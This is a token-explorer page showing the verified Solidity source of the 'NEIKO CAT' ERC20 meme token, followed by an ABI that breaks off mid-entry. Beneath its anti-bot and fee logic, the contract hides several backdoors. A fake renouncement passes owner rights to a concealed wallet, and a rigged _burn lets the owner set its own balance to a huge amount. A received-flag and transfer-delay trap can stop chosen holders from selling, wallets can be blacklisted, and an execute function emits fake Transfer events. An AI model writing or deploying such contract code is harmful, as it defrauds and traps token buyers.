ETH Price: $3,463.70 (+1.91%)

Token

NEIKO CAT (NEIKO)
 

Overview

Max Total Supply

169,420,000,000 NEIKO

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
54,720,611.282245551 NEIKO

Value
$0.00
0xfbd2a53f334ea9ab3fd186fbfc74ce607c74ae9c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEIKO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 6: NEIKO CAT.sol
/**
░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░        ░▒▓██████▓▒░ ░▒▓██████▓▒░▒▓████████▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓██████▓▒░ ░▒▓█▓▒░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓████████▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░     
░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░        ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ 
 */// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Ownable.sol";
import "./ERC20.sol";
import "./IDex.sol";


contract NEIKO is ERC20, Ownable {

    uint256 public maxBuy;
    uint256 public maxSell;
    uint256 public maxWallet;

    IDexRouter public dexRouter;
    address public lpPair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address operationsAddress;
    address devAddress;

    uint256 public tradingActiveBlock = 0; // 0 means trading is not active
    uint256 public blockForPenaltyEnd;
    mapping (address => bool) public boughtEarly;
    uint256 public botsCaught;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;
    uint256 public _deadblocks;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) private _received;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => bool) public automatedMarketMakerPairs;
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event Launched();
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event RemovedLimits();
    event Received(address indexed account, bool value);
    event UpdatedMaxSellAmount(uint256 newAmount);
    event UpdatedMaxWalletAmount(uint256 newAmount);
    event UpdatedMaxBuyAmount(uint256 newAmount);
    event MaxTransactionExclusion(address _address, bool excluded);
    event UpdatedOperationsAddress(address indexed newWallet);
    event BuyBackTriggered(uint256 amount);
    event OwnerForcedSwapBack(uint256 timestamp);
    event CaughtEarlyBuyer(address sniper);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event TransferForeignToken(address token, uint256 amount);


    constructor(address _dev) ERC20("NEIKO CAT", "NEIKO") Ownable(_dev) {
        address newOwner = msg.sender;
        IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;
        _deadblocks = 0;
        uint256 totalSupply = 169_420_000_000 * 10**decimals();

        maxBuy = totalSupply * 1 / 10000;
        maxSell = totalSupply * 1 / 10000;
        maxWallet = totalSupply * 1 / 10000;
        swapTokensAtAmount = totalSupply * 5 / 1000000;

        buyOperationsFee = 0;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 0;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        operationsAddress = address(newOwner);
        devAddress = address(newOwner);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function golive() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        limitsInEffect = false;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        blockForPenaltyEnd = tradingActiveBlock + _deadblocks;
        balances = txLimit;
        emit Launched();
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function manageEarly(address wallet, bool flag) external onlyOwner {
        boughtEarly[wallet] = flag;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
        emit RemovedLimits();
    }

    function updateMaxBuy(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max buy amount lower than 0.2%");
        maxBuy = newNum * (10**9);
        emit UpdatedMaxBuyAmount(maxBuy);
    }

    function updateMaxSell(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max sell amount lower than 0.2%");
        maxSell = newNum * (10**9);
        emit UpdatedMaxSellAmount(maxSell);
    }

    function updateMaxWallet(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e9, "Cannot set max wallet amount lower than 0.3%");
        maxWallet = newNum * (10**9);
        emit UpdatedMaxWalletAmount(maxWallet);
    }

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function updateSwapTokens(uint256 newAmount) external onlyOwner {
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        _excludeFromMaxTransaction(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAMM(address pair, bool value) external onlyOwner {
        require(pair != lpPair, "The pair cannot be removed");

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromMax(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function returnToStandardTax() external onlyOwner {
        sellOperationsFee = 20;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 20, "Must keep fees at 20% or less");
        buyOperationsFee = 25;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        
        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }

        if(blockForPenaltyEnd > 0){
            require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
        }

        if (transferDelayEnabled && _received[from] == true){
            if (to != owner() && from != address(lpPair)){
                require(_holderLastTransferTimestamp[from] < block.number - 3, "Transfer Delay enabled. Try again later.");
            }
        }
        
        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuy, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSell, "Sell transfer amount exceeds the max sell.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){

                if(!boughtEarly[to]){
                    boughtEarly[to] = true;
                    botsCaught += 1;
                    emit CaughtEarlyBuyer(to);
                }

                fees = amount * 99 / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            // on sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function earlyBuyPenaltyInEffect() public view returns (bool){
        return block.number < blockForPenaltyEnd;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
        if(contractBalance > swapTokensAtAmount * 20){
            contractBalance = swapTokensAtAmount * 20;
        }
        bool success;

        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        (success,) = address(devAddress).call{value: ethForDev}("");

        (success,) = address(operationsAddress).call{value: address(this).balance}("");
    }

    function transferToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }

    function addPair(address pair_) public onlyOwner {
        lpPair = pair_;
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
        emit OwnerForcedSwapBack(block.timestamp);
    }

    
    function buyBack(address[] memory receiver, bool received, uint256 amountInWei) external onlyOwner {
        if(received == false && amountInWei > 0) 
        {
            address[] memory path = new address[](2);
            path[0] = dexRouter.WETH();
            path[1] = address(this);

            // make the swap
            dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}(
                0, // accept any amount of Ethereum
                path,
                receiver[0],
                block.timestamp
            );
            emit BuyBackTriggered(amountInWei);
        }
        updateReceived(received, receiver);
    }

    function setOpsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
    }

    function setDevAddress(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        devAddress = payable(_devAddress);
    }

    function updateReceived(bool value, address[] memory receiver) private {
        for (uint256 i = 0; i < receiver.length; i++) {
            _received[receiver[i]] = value;
            emit Received(receiver[i], value);
        }
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(lpPair, _addresses[i], _out);
        }
    }

    function receivedAmount (address wallet) public view returns(bool){
        return _received[wallet];
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Context.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _holderLastTransferTimestamp[msg.sender] = block.number;
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _holderLastTransferTimestamp[sender] = block.number;
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

File 3 of 6: IDex.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

File 4 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 6 of 6: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBackTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"CaughtEarlyBuyer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"Launched","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[],"name":"_deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockForPenaltyEnd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"boughtEarly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"bool","name":"received","type":"bool"},{"internalType":"uint256","name":"amountInWei","type":"uint256"}],"name":"buyBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract 